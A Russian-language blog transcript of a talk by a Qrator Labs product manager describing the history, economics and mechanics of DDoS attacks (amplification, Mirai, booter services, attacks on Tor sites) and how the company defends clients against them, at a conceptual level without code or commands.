Русский
Русский
English
Статистика
Реклама

Информационная безопасность

DDoS-атаки откуда берется и куда девается мусорный трафик

13.06.2021 18:05:09 | Автор: admin
На прошлой неделе в наших соцсетях выступил Георгий Тарасов, Product Manager в Qrator Labs.

Георгий выпускник ВМиК МГУ, работает в команде Qrator с 2012. Занимался разработкой, управлением проектами, собрал в компании команду pre-sales инженеров. Теперь развивает в Qrator новый продукт, а именно защиту от онлайн-ботов.

Делимся с вами расшифровкой эфира и записью.


Всем привет, меня зовут Георгий Тарасов. Я работаю в компании Qrator Lботнетовabs, знаю кое-что о DDoS-атаках и методах противодействия этим угрозам. В основном на собственном опыте, на опыте работы с клиентами, которые страдают от DDoS-атак или знают про угрозы, исходящие от них, и заблаговременно принимают решение выстроить себе защиту, применять контрмеры, быть готовыми к такой активности.
Из общения с десятками, потом сотнями (сейчас уже, наверно, перевалило за тысячу) разных организаций складывается достаточно интересная картина того, откуда приходят атаки, почему они случаются, какие действия бизнеса могут к этому привести. И, конечно, техническая сторона дела: что происходит на стороне жертвы, что происходит на транзите в сети к жертве, кто еще может пострадать от атаки, и многие другие вещи.
Сегодня мы, я думаю, достаточно неформально поговорим: не будем затрагивать прописные истины, а посмотрим, скорее, на эффекты DDoS-атак, попробуем понять, почему они происходят, и как вести себя, оказавшись один на один с DDoS-ером, который пришел на ваш ресурс, на промо-сайт или на сайт бизнеса, которым вы занимаетесь.

Сначала, наверно, вставлю пару слов о себе. Меня зовут Георгий Тарасов, я учился в МГУ на факультете ВМК, мечтал заниматься распределенными вычислениями, суперкомпьютерами, но жизнь повернулась немного по-другому. После выпуска я пришел в компанию замечательных людей, которых тогда было немного чуть больше десятка. И там сказали мне: ты слышал что-то про DDoSатаки? Я сперва округлил глаза: что за DDoS-атаки? Хакерство, киберпреступность, что это такое? Мне тут же пояснили, я изучил начальное количество материалов, почитал статьи; на тот момент это был 2012 год в отношении DDoS и защиты от них царил полный Дикий Запад. То есть, сервисы еще не заняли главенствующее положение защитников для мелкого, среднего и большого бизнеса, каждый защищался подручными средствами, кто во что горазд, нанимал специалистов для настройки фаерволов. И посреди всего этого оказалась та компания, в которую я пришел и она стремилась наладить более-менее одинаково высокий по качеству сервис как для мелких сайтов, которых прикладывают чем-то таким прикладным-хозяйственным, так и для крупного бизнеса, перед которым стояли гораздо большие угрозы.

Год за годом рабочая стезя меня толкала все ближе к самим клиентам, к их кейсам, к историям с их подключением. В итоге, со временем, я пришел к тому, чтобы заниматься работой pre-sale. То есть, приходит заказчик он либо уже под атакой, либо ожидает ее, либо просто хочет построить защищенную инфраструктуру для своего бизнеса. Он хочет подключиться к сервису, защититься от атак, купить дополнительные услуги. Его нужно проконсультировать, выяснить, что наибольшим образом подходит ему, выслушать, какие риски у него есть сейчас и какие ожидаются, и совместить гору с горой: понять, какой спектр услуг, какой сетап в техническом и организационном плане более других подойдет для того, чтобы ему снять боль, напряжение и неприятности, с которыми он пришел.

Процедура онбординга у нас не всегда была простой и быстрой; иногда клиентов приходилось подключать месяцами, общаться с ними. Whiteboarding, построение схем, итеративный подход (это не сработало, пробуем другое) все это оказалось очень увлекательной деятельностью. Ну и плюс гигантская база контактов организаций из всех сфер интернет-активности, всех сегментов рынка, организаций из бизнеса и не из бизнеса, обучение, например. Каждый со своей уникальной инфраструктурой, целями, задачами, и со своими болями в отношении DDoS-атак. Из этого сложился интересный паззл, и сейчас он позволяет мне, поглядывая назад на этот опыт, двигаться дальше и помогать нашей компании диверсифицироваться по продуктам, запускать новые штуки. Сейчас, например, самая важная тема для меня это борьба со скреперами, именно с ботами из числа таковых, которые откровенно вредят, потому что скрепинг бывает разным. Мы конкретно боремся с теми, кто своим скрепингом, перебором, парсингом делают больно клиентам, которые к нам приходят. Это похожая, смежная, хотя и не совсем напрямую связанная активность с защитой от DDoS. Главное, что платформы и техстек используются похожие.

Вернемся к DDoS-атакам: мы о них говорим сегодня, и говорили также и полгода назад, и говорим помногу раз каждый год, но, тем не менее, они никуда не деваются. Они все еще с нами.
Надо сказать, что, несмотря на их эволюцию в техническом плане, появление новых векторов, рост полосы и рост интенсивности атак, те тулзы и подходы, которые DDoS-атаки используют, не слишком изменились за последние 30 лет. Давайте сравним это с хакерской активностью, со взломами, с поиском дырок, уязвимостей, различных способов проникновения через защиту чужого приложения и извлечения данных из него. У нас есть уязвимость в фреймворке, компоненте, инхаус-приложении; в нем обнаруживается дырка. Есть вектор атаки, который это эксплуатирует. Приходит ресерчер, приходит whitehat или случается реальная атака; разработчики, security-специалисты закрывают дырку. Она может позднее всплыть в видоизмененном виде снова, где-нибудь в новой версии фреймворка или в похожих решениях, но конкретный эпизод остается в истории. Дословного повторения мы вряд ли увидим.

С DDoS-атаками все по-другому. Абсолютно такие же векторы атак, использующие те же самые протоколы, ту же самую методу с точностью до сигнатуры трафика, продолжают долбить сайты и сети на протяжении десятилетий. Они нечасто сходят со сцены: сходят только векторы, использующие совсем устаревшие протоколы, которые оказываются закрыты на любом устройстве. Хотя и там иногда бывают приколы. Если мы посмотрим на список прикладных протоколов поверх транспортного протокола UDP, применяющихся в крупномасштабных volumetric-атаках с использованием амплификации, то увидим интересные экспонаты, которые, наравне с TNS, ATP, SSDB используются сплошь и рядом. Есть, например, MotD, RIPv1-протоколы. Пойди в любую компанию, спроси devops-ов или админов есть хоть один компонент или endpoint, слушающий или пишущий, который использует это? Скорее всего, на тебя посмотрят как на Рип ван Винкля из произведения Вашингтона Ирвинга, который проспал 100 лет и спрашивает какую-то нерелевантную музейную фигню. Тем не менее, если отверстие есть, то вода в него обязательно пойдет. Если где-то есть открытый порт для этого протокола и, не дай бог, есть какой-то стандартный системный компонент, который может слушать на этом порту, то атака может пойти туда. Поэтому зоопарк решений для организации DDoS не движется по исторической шкале из точки А в точку Б. Он от точки А продолжает прирастать вширь и вглубь всевозможными новыми методам по мере того, как новые протоколы появляются, развиваются, их внедряют крупные компании, и в них находятся свои приколы и схемы для того, чтобы принимающей стороне, читающей протокол, сделать больно.

Старые методы не сходят с арены. Простой пример: если посмотреть немного в историю, в первых зарегистрированных случаях крупных DDoS-атак в середине-конце 90-х, которые уже тогда попали в новости то есть, они не были замечены историками и исследователями спустя годы, а сделали заголовки сразу же использовался вектор TCP SYN Flood. То есть, это были атаки при помощи TCP SYN-пакетов. Любой человек, мало-мальски знакомый с тематикой DDoS-атак, который читал книги или смотрел презентации и статьи на эту тему, скорее всего, видел описание такой атаки на первых листах. Это, можно сказать, хрестоматийный случай генерации достаточно большого количества дешевого трафика, затраты на обработку которого на стороне сервера окажутся гораздо выше затрат на его создание со стороны атакующего ботнета, каких-то устройств, которые он использует. Если мы посмотрим в статистику атак за 2020-21 год, например, то увидим, что TCP SYN Flood никуда не делся, такие атаки все еще встречаются в дикой природе, и ими прикладывают крупных и мелких игроков бизнеса. Тулзы и ботнеты, которые генерируют TCP-трафик, тоже никуда не делись, потому что эта атака даже с поправкой на то, как изменилась производительность компьютеров и пропускная способность интернет-каналов и корпоративных сетей за последние 30 лет приводит к столь же эффективным результатам. От нее просто нет смысла отказываться. Другое дело, что мир уже научился чуть лучше от них защищаться, но и здесь есть некоторые оговорки.

О защите мы поговорим чуть позже, а пока попробуем посмотреть на цифры и ответить на вопрос: почему атаки случаются? Вот немного исторических данных, которые за прошедшие пару лет мы выудили из своих клиентов, организаций и бизнесов, с которыми мы работаем.

image

Понятно, что атака это не какое-то действие по расписанию, она скорее похоже на стихийное бедствие. Ты не знаешь, когда она произойдет, но ты всегда должен быть готов ее встретить. Длится она обычно недолго за исключением отдельных кейсов, которые мы еще рассмотрим; прилетела, все сломала, везде навалила мусора и исчезла, как будто ее и не было. Жертве остается перезагружать сервера, перезапускать базы и возвращать свой ресурс в онлайн.

DDoS-атаки


Мотивация к DDoS-атакам, про которую мы успели узнать она, в некоторой степени, строится на возможности обогатиться на этой теме. У нас есть вот такие данные об этой истории.

image

То есть, все эти пункты, по которым кто-то может организовать DDoS-атаку на другого, вполне объяснимы. Личная неприязнь, политические вопросы и убеждения; недобросовестная конкуренция про это будет отдельная история, которую мы, наверно, много раз уже рассказывали, но, может быть, не все из присутствующих в нашем эфире ее слышали. Сейчас уже вы вряд ли увидите ситуацию, когда один банк заказывает DDoS-атаку на другой, им выгоднее сосуществовать в инфополе, чем пытаться друг друга положить; это оружие обоюдоострое. Вряд ли вы увидите и интернет-магазин, который DDoS-ит трафиком другой, даже если мы говорим про крупный ретейл.

Тем не менее, на заре нашей юности был интересный эпизод: существовал один интернет-магазин кедровых бочек. Он не продавал кедровое масло или кедровые орешки продавал конкретно бочки для промышленного использования пищевиками. Это был их основной бизнес, продавались бочки через сайт; можно сказать, они одними из первых стали это делать. И, когда с клиентом пообщались по поводу атак на него, оказалось, что существуют другие интернет-магазины кедровых бочек, и между ними реально происходит кровная вражда: конкуренты постоянно DDoS-ят сайты друг друга, в нонстоп-режиме, пытаясь завернуть поток клиентов. Ну, много ли клиентов для кедровых бочек можно сказать, что это одни и те же люди, которые приходят либо в одно место, либо в другое, и вряд ли будут заказывать в обоих местах сразу. Поэтому за этот ручеек клиентов шла борьба не на жизнь, а на смерть.

Другой забавный случай из истории конкуренции и DDoS-атак, который у нас тоже произошёл это сайты магов, волшебников, эзотериков, предсказателей, шаманов, заклинателей и прочих бизнесменов из этой сферы, так скажем. Оказалось, что вместо порчи, сглаза и всяких проклятий друг на друга за увод клиентов и нарушение публичной репутации они используют более современные и технические методы, заказывая у DDoS-еров атаки на сайты друг друга.

Эти два случая запомнились мне очень хорошо, потому что ни в одном другом легальном рыночном сегменте мы не наблюдали подобной войны бизнесов, находящихся на одном уровне когда конкретные бизнесы борются друг с другом с помощью таких недобросовестных методов. Конечно, есть еще серая зона, с который мы, как компания, не работаем; есть и откровенно нелегальные активити, где DDoS-атаки происходят ежечасно, но речь не о них.

Что мы знаем про облик DDoS-атаки в наше время? Что это часы паразитной нагрузки, или всплеск трафика на 5 секунд, который вырубает маршрутизатор? На самое деле, если взять среднее по больнице с учетом морга и крематория, получится ни то, ни другое. Что-то опосредованное. В прошлом году медиана длительности, по данным из нашего годового отчета, была около 5 минут;

image
понятно, что сюда попадают достаточно крупные атаки в частности, потому, что крупномасштабную атаку на десятки-сотни гигабит полосы банально дорого держать часами. Почему мы сейчас обсудим.

Касаемо ботнетов и их задействованности в современном DDoS-ландшафте.


Самый большой ботнет, который мы наблюдали, и от атаки с которого мы защищали клиентов это порядка 200 тысяч источников. Это уникальные IP-адреса речь идет не об источниках трафика, о которых мы можем предполагать из емкости атаки, а об атаках, где используются валидные сессии, при которых источник должен себя подтвердить через TCP-handshake или более вышестоящие протоколы и сессии. То есть, это валидные устройства пользователей интернета, с которых приходил в сторону жертвы DDoS-трафик.

Нельзя сказать, что весь DDoS в мире приходит с подобных классических ботнетов. Я сейчас кратко опишу, в порядке прописных истин, как они вообще появляются, чтобы потом не останавливаться на этом. Ботнет это сеть устройств, подконтрольная злоумышленнику, который имеет возможность выполнять определенные действия на каждом из устройств этой сети например, генерировать трафик. За счет этого происходит распределённая атака на отказ в обслуживании: злоумышленник дает команду, устройства шлют трафик в различном виде и на разных уровнях пакеты, запросы, битики к цели, которую он хочет вывести из строя. Так мы привыкли видеть DDoS-атаки: есть тысячи зараженных машин, и хакер со своего C&C-центра машины, с которой осуществляется управление централизованно посылает броадкастом команду. Например, слать UDP-трафик на адрес Х, что и происходит. Но сейчас этот процесс может выглядеть немного по-другому, потому что существенный пласт атак использует подход с амплификацией (усилением) трафика. Его идея заключается в том, что напрямую ботнет трафик на ресурс жертвы не шлет. Задача ботнета сгенерировать некоторый начальный поток трафика, который может быть небольшим (порядка сотни мегабит), и за счет эксплуатации особенностей прикладных протоколов на базе UDP например, DNS заставить большое количество DNS-серверов в сетях (во многих сетях есть большое количество DNS-серверов, которые не защищены от использования их в таких атаках) принимать запрос, не особо проверяя, от кого он, и выполнять его. Например, они отгружают доменную зону размером в десятки килобайт на некоторый адрес, который непонятно кому принадлежит, и непонятно, этот ли адрес присылал этот запрос. Таким образом, начальный поток трафика проходит через тысячи DNS-серверов, которыми хакер непосредственно не управляет эти сервера просто находятся в интернете и готовы обработать query, не проверяя, от кого он приходит. За счет такой схемы сотня мегабит трафика, которую злоумышленник сгенерировал с помощью относительно небольшого ботнета (это может быть всего несколько десятков машин) превращается в десятки гигабит в секунду полосы, которая летит с этих name-серверов в сторону жертвы.

Что с таким случаем делать? Забанить источники, от которых пришел трафик так можно забанить половину интернета, потому что они прямого отношения к хакеру и ботнету даже не имеют. Здесь нужны другие механизмы борьбы с этим трафиком как минимум, его нужно куда-то слить, чтобы он не попал на машину, которая находится под ударом, и при этом не запоминать адреса источников и не пытаться применять к ним какие-то санкции.
Получается, что часть атак по-прежнему приходит напрямую с ботнетов с использованием валидных сессий и валидных IP-адресов, а часть в основном, те, которые применяют метод амплификации приходит совсем не с самих ботнетов. Ботнеты там используются только как свеча зажигания в моторе. Так было не всегда; амплификация это сравнительно новая история. Если посмотреть на крупные кейсы, то мы живем с атаками такого типа только последние 10 лет, возможно меньше. Другое дело, что именно сделало их настолько популярными, что именно сделало их опасность такой же большой, как и у традиционных методов здесь интересно будет рассмотреть, наверно, самый известный публике случай, который произошел в 2016 году. Тогда мир узнал о том, что ботнеты это не только зараженные вирусами компьютеры, а еще и IPTV-камеры, кофеварки, микроволновки, умные дома, ворота с Wi-fi и прочее. В какой-то момент развитие, популярность и распространенность интернета вещей разнообразных устройств с доступом в интернет достигло критической точки, на которой злоумышленникам стало интересно использовать именно их вместо более сложных в эксплуатации ПК, корпоративных серверов, публичных серверов и так далее, для генерации трафика.

Знаменитый ботнет Mirai базировался на десятках тысяч IPTV-камер конкретных производителей, на которых стояла одна и та же прошивка, никакой защиты от внешнего управления не предусматривалось, а выход в интернет не всегда был завязан на локальную сеть. Хотя бы админка может быть доступна через интернет, и этого уже достаточно для того, чтобы использовать маленькую железяку для генерации трафика. И, хотя одна камера много нагенерировать не сможет у нее канал маленький таких устройств десятки и сотни тысяч, и они максимально размазаны по миру. Опасность такой атаки, с точки зрения традиционных методов защиты, очень велика. Этим воспользовались авторы Mirai и те, кто последовал за ними, скопипастив этот подход и развернув свои ботнеты. 2016-17 годы стали настоящим всплеском с точки зрения атак с амплификацией, которые использовали в качестве корневого источника трафика подобного рода ботнеты. Эта история продолжается и сейчас: коробки продолжают выходить новые, и их защищенность от взлома и эксплуатации осталась на таком же уровне, потому что на первом месте стоит дешевизна и массовость производства. Другое дело, что мир уже научился чуть лучше защищаться от них, как и в случае с атаками SYN Flood. Гонять такого рода потоки трафика с IPTV-довольно затруднительно, security-люди уже слишком привыкли к такой истории.

По поводу называть героев по имени я, к сожалению, не могу / не буду этого делать. Но эта информация в принципе публичная, можно почитать расследования по поводу Mirai. Если кому-то будет интересно, мои контакты будут у организаторов я смогу поделиться ссылками на интересный материал, в том числе тот, который я сам изучаю, и который пишет наша компания на эту тему. Но история именно с Mirai, камерами и тем, как эта активность была обнаружена это уже достояние истории, и с ней можно много где ознакомиться.

Так или иначе, эта история никак не завершилась. Другое дело, что остальные методы атак подтянулись по своей опасности и интенсивности к тому, что продемонстрировал Mirai в 2016 году. Тогдашние атаки были примерно на 600-700 гигабит в секунду полосы, на тот момент невиданные цифры. Это почти в 10 раз превосходило виденные в дикой природе доселе атаки. Сейчас такими цифрами никого не удивишь: с момента возникновения Mirai рост полосы атак давно перевалил за терабит в секунду и продолжает расти. Широкополосные соединения и надежные магистральные сети провайдеров этому способствуют.

Что касается того, что из этой активности видели у себя мы. Несмотря на то, что Mirai это была в основном западная история, кусочек долетел и до наших клиентов в России. Это случилось на следующий год после его возникновения: к нам прилетела самая крупная на тот момент для РФ атака, которая составляла порядка 500 гигабит в секунду. Конечно, полтерабита уже было довольно популярной цифрой в мировой DDoS-ологии, но для сайтов Рунета, чьи инфраструктуры было расположены в России и подключены к нашим провайдерам, это было что-то с чем-то. К счастью, мы довольно быстро и эффективно пришибли атаку, и последующие встречи с подобного рода ботнетами уже не были сюрпризами ни для нас, ни для наших заказчиков.

DDoS-атаки в даркнете


image

У меня в повестке дня есть интересный вопрос: рассказать о том, что происходит в DDoS-атаками в даркнете. То есть, организация, проведение, методы, способы защиты. Тематика DDoS-атак в даркнете для нас, как для компании, никогда особого интереса не представляла: по понятным причинам, клиенты из даркнета к нам защищаться не приходят. Специфика занятий, на которых они зарабатывают деньги, и их собственная база пользователей, приходящих к ним на ресурсы, не располагает к тому, чтобы в такого рода отношения с сервисами защиты входить. Конечно, в мире есть исключения. Понятно, что где спрос там и предложение, и конкуренция в даркнете имеет примерно те же виды и обличия, что и в публичной сети. Поэтому DDoS-атака как способ выключить конкурента или заставить кого-то заплатить выкуп за то, чтобы его перестали DDoS-ить, постепенно, уйдя из заголовков новостных статей в публичном интернете, продолжает цвести пышным цветом в Tor-сетях и в даркнете в целом.

Понятно, что структура Tor несколько отличается от того, что мы имеем в публичной сети. Связь даркнета с публичным интернетом, которая осуществляется через экзит-ноды (гард-ноды) сама по себе является узким местом и не располагает к тому, чтобы большое количество трафика организовано лилось из даркнета в паблик (и наоборот). Тем не менее, в стародавние времена (2012-14 годы) такая штука, как сокрытие C&C-центра ботнета, существующего в публичной сети, внутри Tor-сетей, имела место быть. То есть, хакер держит свой C&C-компьютер в даркнете, через Tor отсылает управляющий трафик на ботнет, находящийся в публичной сети, и уже в публичной сети происходит атака на сайт. Для злоумышленника профит в том, что, если C&C в публичной сети можно отловить есть конкретные методы, которыми владеют ИБ-шники и форензики, по поиску управляющих центров, их перехвату и поиску владельцев то в даркнете это сделать гораздо труднее. Но эта лавочка просуществовала недолго, по ряду причин. Во-первых, сама работа C&C, рассылающего управляющий трафик по десяткам, сотням или сотням тысяч машин для начала атаки даже такая нагрузка, небольшая с точки зрения публичной сети (control point traffic), для Tor очень заметна и существенна. В 2013 году, когда один из крупных ботнетов поселил свой C&C-центр на onion-ресурс, трафик, который он генерировал, оказался достаточно заметным, чтобы замедлить работу целого сегмента Tor-сети. Не всем это понравилось, конечно. А самое главное, что в случае, когда атака уже случилась или была предотвращена, и расследованием атаки занимаются правоохранительные органы, инфосек-компании, эксперты-форензики, то, если ботнет был скомпрометирован, ниточки ведут в экзит-ноды тора. И по шапке получает, как и всегда в этом случае, владелец экзит-нода. Сам хакер не подвергается непосредственной угрозе, но закрытие экзит-нода и привлечение владельца к ответственности (хотя владелец и не имеет отношения конкретно к этим атакам) приводит к невозможности использовать инфраструктуру Tor в дальнейшем, в том числе и для других подобных действий. Поэтому, чтобы не пилить сук, на котором сидят сами организаторы атак, эту активность они преуменьшили, и сейчас она уже не столь заметна.

Что касается поиска контрольных центров ботнета и их владельцев это не совсем наша история. Мы занимаемся конкретно защитой от атак, а не расследованиями и поиском организаторов, хотя информация, которая у нас есть, помогает инфосек-компаниям заниматься своим делом конкретно, поиском. Один такой кейс прошел в большой степени на моих глазах, поэтому я с удовольствием им поделюсь. В 2014 году на одного из наших клиентов крупный банк с большим онлайн-присутствием произошла серия DDoS-атак, достаточно интенсивных. Мы сумели их отфильтровать и защитить клиента. Клиент не остановился на этом и обратился к инфосек-специалистам для поиска источников атаки и ее организаторов. У них были соображения о том, что ряд атак, происходивших на их ресурс, используя примерно одинаковый технический стек, вполне могли происходить из одного и того же места и быть одной и той же природы то есть, скорее всего, заказчик и организатор были те же самые. Что сделали люди из инфобеза: они достаточно быстро нашли сам ботнет, с которого генерировался трафик это было самое простое. А потом они подселили свой собственный honeypot такую же машину в этот ботнет, чтобы поймать момент, когда придет управляющая команда на атаку какого-нибудь ресурса. При очередном кейсе атаки они не только обнаружили машину, управлявшую началом и процессом атаки, но и выяснили, что с той же самой машины были обращения на атакуемый ресурс. То есть, злоумышленник-организатор атаки параллельно с кручением ручек для отправки мусорного трафика сам заходил на ресурс почекать, как он там, живой еще или свалился. По этим двум признакам его и нашли, сопоставили, нашли владельца машины. Дальше история уже переросла в уголовное дело; конец был довольно прозаический, и к технической сфере отношения не имеет. Тем не менее, понятно, что с даркнетом похожая история прокатывает труднее. Выход будет, естественно, на владельца экзит-нода, а что с ними бывает в России я уже говорил.
Это что касается атак из Tor-сетей наружу, теперь по поводу происходящего внутри самого даркнета. Там DDoS цветут пышным цветом, всех сортов и мастей. Что интересно например, в нашей статистике за последнюю пару лет можно увидеть, что атаки на 7 уровне то есть, на уровне приложений, те, которые используют HTTP, HTTPS-запросы, выбирают конкретные URL
Q: Посадить удалось? Если нет, то все равно безнаказанно будут нападать
Да, доказать и привлечь к уголовной ответственности злоумышленника удалось. Правда, это случилось не в Российской Федерации, а в соседней стране.

так вот, атаки на уровне приложения сейчас составляют в статистике лишь малую часть. Большая часть атак, которые мы видим регулярно это TCP, UDP, пакетные флуды, амплификации. То есть, более примитивные методы, которые дешевле стоят в организации, для которых есть куда больше тулзов, чтобы их быстро развернуть и начать. Для них не нужно большой подготовки перед атакой на какой-то сайт достаточно развернуть эту пушку в общем направлении жертвы и долбануть из нее. Прикладные атаки это всегда некоторый предварительный ресерч, выяснение того, как работает приложение, которое будут атаковать, как работает инфраструктура, куда эффективнее всего долбить в какие URI, в какие компоненты приложения. Эта работа стоит денег организатору, и по затратам такие методы атак выходят гораздо выше, чем дженерик-средства. А дженерик-средства популярны и дешевы в том числе и потому, что со времен Mirai, с 15-16 года, отрасль организации DDoS-атак и вообще активности на этой почве стала сервисной.

image

То есть, такое понятие, как устроить DDoS на заказ написать какому-нибудь хакеру, сказать ему, чтобы он положил некоторый сайт в определённое время этого уже практически нет. Потому что владельцы ботнетов и владельцы тулзов для организации ботнетов нашли более прибыльный способ зарабатывать на своем ремесле. DDoS as a service работает примерно так же, как и любой легальный сервис по подписке защита, CDN, ускорение сайтов. Ботнет предоставляется клиенту в shared-виде: то есть, некоторая часть мощностей предоставляется заказчику в пользование на определенное время за определенный прайс. Допустим, 5 минут атаки с существенной полосой будут стоить 10 долларов. Понятно, что маржинальность для владельцев все равно высокая: это гораздо выгоднее, чем one-time заказы от сомнительных личностей, которые и сдать властям могут. Сервисная работа куда более опосредована и не контактирует с заказчиком напрямую, при этом задействованность такого ботнета в атаках получается гораздо выше. То есть, зараженные устройства используются для генерации мусорного трафика гораздо более эффективно. Такие сервисы их еще называют бутеры растут как грибы; их искореняют, их сносят, находят организаторов, но они тут же вырастают снова. Самый знаменитый пример бутеров это сервис под названием vDOS, который держал под контролем часть ботнета Mirai, предоставляя его в shared-формате всем желающим. У них даже был сайт в публичной сети, довольно посещаемый, а оплату они принимали вообще через PayPal. Собственно, именно через PayPal эксперты-форензики и нашли организаторов; ими оказались двое израильских студентов, которые предпочли такой способ зарабатывания денег учебе и карьерным перспективам. Их привлекли к ответственности, но, по последним новостям все ограничилось общественными работами; возможно, мы еще увидим их либо в новой ипостаси бизнеса, либо уже на службе у какой-нибудь спецслужбы государства.

Так или иначе, такая модель то есть, вместо того, чтобы заниматься разработкой метода DDoS-атаки под конкретную жертву, делать сервис, на который можно прийти, заплатить криптовалютой и арендовать ботнет для атак на 5 минут (или на 10, или на час) и приводит к тому, что большая часть атак получается очень дженерик. Они не специфичны ни по конкретной цели, ни по протоколу, ни по особенностям генерации трафика. Они длятся недолго, так как в задачу DDoS-атаки в первую очередь входит запугивание жертвы. Если это не какая-то политическая история, то неважно, будет ли сайт жертвы лежать 5 минут или час. Если жертва согласится заплатить выкуп или иным способом пойти навстречу злоумышленникам, то тут и одной минуты достаточно, а раз так, то зачем переплачивать. Те атаки, которые выделяются из этого ландшафта, бывают гораздо интереснее, и на них как раз и нужно учиться и мы этим занимаемся.

То есть: ландшафт DDoS-атак изменился в вот такую сторону, и те вещи, которые выделяются из него количественно или качественно представляют наибольший интерес.

Касательно даркнета есть еще одна интересная история. Техстек, который там используется, проходит те же стадии эволюции, которые публичный интернет проходил десятки лет назад. Уязвимость конкретных веб-серверов, уязвимость устройств, которые используются для размещения ресурса в даркнете, к самым примитивным методам DDoS-атак, никуда не делась. Она потихоньку устраняется, но, так как этим не занимаются специализированные компании, это происходит спонтанно и медленно. Методов завалить ресурс, размещенный в даркнете, великое множество их был миллион, и сейчас осталось прилично. Если зайти на GitHub и поискать тулзы, с помощью которых можно вывести из строя ресурс, размещенный в даркнете, то можно найти совершенно курьезные способы. Такие примитивные вещи, как медленная атака GET-запросами, с которой справился бы любой, даже бесплатный, сервис по защите от DDoS и ботов (а если бесплатный не справляется, то можно заплатить 20 долларов CloudFlare и решить этот вопрос, или самому настроить балансировщик) были все так же эффективны против onion-сайтов пару лет назад. Подобные методы публично доступны и не требуют больших ресурсов, то есть, большого ботнета, для организации атаки. Довольно частая история на Tor-ресурсы приходят не DDoS, а нераспределенные DoS-атаки. Достаточно определенной последовательности запросов с одной конкретной машины, чтобы погасить Tor-сервер.

image

Такая ситуация сохранялась; например, фикс Tor-браузера 0.4.2 закрыл дырку, которая позволяла запросами из этого браузера завалить любой ресурс в даркнете, затратив 0 рублей на атаку.

Защита в даркнете


Что касается защиты в даркнете это тоже забавная история. В конце концов, adhoc-security-сообщество, которое там существует, пришло к выводу, что защищаться таки надо. Появилась такая штука, как EndGame: это тулкит для защиты от DDoS на своей конкретной машине, которая публикует ресурс в Tor.

image
Используются такие компоненты, как Nexi бесплатный фаервол для NGINX, а также конфиг самого NGINX и настройки сетевого фаервола. С точки зрения тех историй, которые происходят в публичной сети, EndGame это курам на смех; это то, что студент в рамках курса по internet security учится делать в первую очередь. Настройка фаервола на своей машине, если там крутится NGINX настройка его параметров, чтобы нельзя было завалить его медленной атакой, защита от небольшого SYN Flood. Никакого rocket science. Все это достаточно простые с технической и организационной точки зрения действия. Тот факт, что такая защита стала популярной историей в даркнете, говорит о том, что эволюционировать там еще есть очень далеко куда. Возможно, именно инфраструктурная разделенность таких сетей приводит к тому, что более крутые решения, которые есть по эту сторону, там не приживаются.

Есть еще один аспект, не совсем технический, который может являться важным здесь. Защита от DDoS для бизнеса может осуществляться по-разному. Это может быть коробка, которая фильтрует трафик. Это может быть огромная сеть из коробок, фильтрующая за пределами инфраструктуры. Это может быть батарея коробок, стоящая у интернет-провайдера, которая занимается тем же самым поиском аномалий в трафике и блокировкой плохих источников. Все эти вещи не нужны ситуативно: за них нужно хвататься не тогда, когда атака уже идет. Тогда уже поздно. Эти вещи должны быть всегда наготове; фактически, вам продают гарантию того, что, если атака случится, эти вещи справятся с ней, и на вас, на ваших пользователей, на доступность вашего ресурса это не повлияет негативным образом. Эти гарантии не очень применимы в даркнете, где нет конкретных identity того, кто предоставляет этот ресурс, и того, кто его приобретает и использует. Поэтому adhoc-защита на своей собственной машине, которая поможет от самых примитивных методов, но при распределенной атаке, генерирующей большую полосу, ничего не сможет сделать, там используется и там имеет право на жизнь. Такая история.

Забавные случаи из практики



image

Если говорить о забавных кейсов из опыта работы с клиентами, из опыта подключения мы говорим про публичную сеть, конечно. Я уже рассказывал про конкуренцию, это наш staple case, что называется, когда мы говорим про разные сегменты бизнеса. Еще забавны технически вещи, происходящие у наших клиентов на этапе онбординга и на этапе пилотной работы, первых недель и месяцев подключения к защите. Как правило, они связаны с тем, что некоторые пользователи может быть, даже вполне легитимные ведут себя очень интересным образом, совершенно не похожим на всех остальных. То же самое можно сказать и про ресурсы, которые мы защищаем. Некоторые ресурсы очень интересным образом подходят к вопросам общения с юзерами, имея свои трактовки протокола HTTP. Иногда это приводило к недопониманию и к конкретным инцидентам, которые разрешались даже без взаимного негатива, а с улыбкой и со смехом.

Когда мы говорим про уровень приложения и атаки на этом уровне, зачастую трафик этих атак мало отличается от запросов, которые делают нормальные пользователи. В этом и состоит интерес и сложности таких атак. Если не брать в расчет эффект от их работы и источники, из которых приходят эти запросы, они могут быть неотличимы от паттерна нормальных пользователей. Здесь приходится использовать более глубокий поведенческий анализ, смотреть на сессию каждого юзера от handshake и до выхода с ресурса, чтобы понять, что он вообще сейчас делал на ресурсе хорошее или плохое, не причинил ли он какой-то вред, не стало ли остальным юзерам худо от запросов из этого конкретного источника? На такие вопросы нашей автоматике приходится отвечать ежесекундно для сотен разных клиентов и для тысяч сайтов. Иногда граничные случаи поведения пользователей попадают в поле зрения системы и сводят ее с ума.

Простой пример это когда пользователь с абсолютно, в целом, легальной линией поведения, работает как планировщик задач, посещая новостные страницы на ресурсе в строго определенное время. Начинает в .00 минут утра, заканчивает в .00 минут вечера. При этом действия, которые пользователь совершает, не причиняют никакого вреда: это не парсинг и не скрепинг, он просто ходит по статьям, пишет комменты и отвечает на них.
Придраться не к чему кроме того, что он каждый день стартует и заканчивает в одно и то же время, и объем работы, которую он проделывает на ресурсе, получается несоизмеримо больше, чем у всех пользователей, которые не были определены как боты. У нас были разные гипотезы на этот счет; пару раз мы его случайно банили, после чего он писал в abuse ресурса по поводу того, что, собственно, происходит. В конце концов, мы махнули рукой мало ли, может быть, это контент-райтер, который явно работает в две смены без выходных и перерывов. В любом случае, пока такие юзеры время не приносят, принимать какие-то санкции к ним мы не считаем нужным.

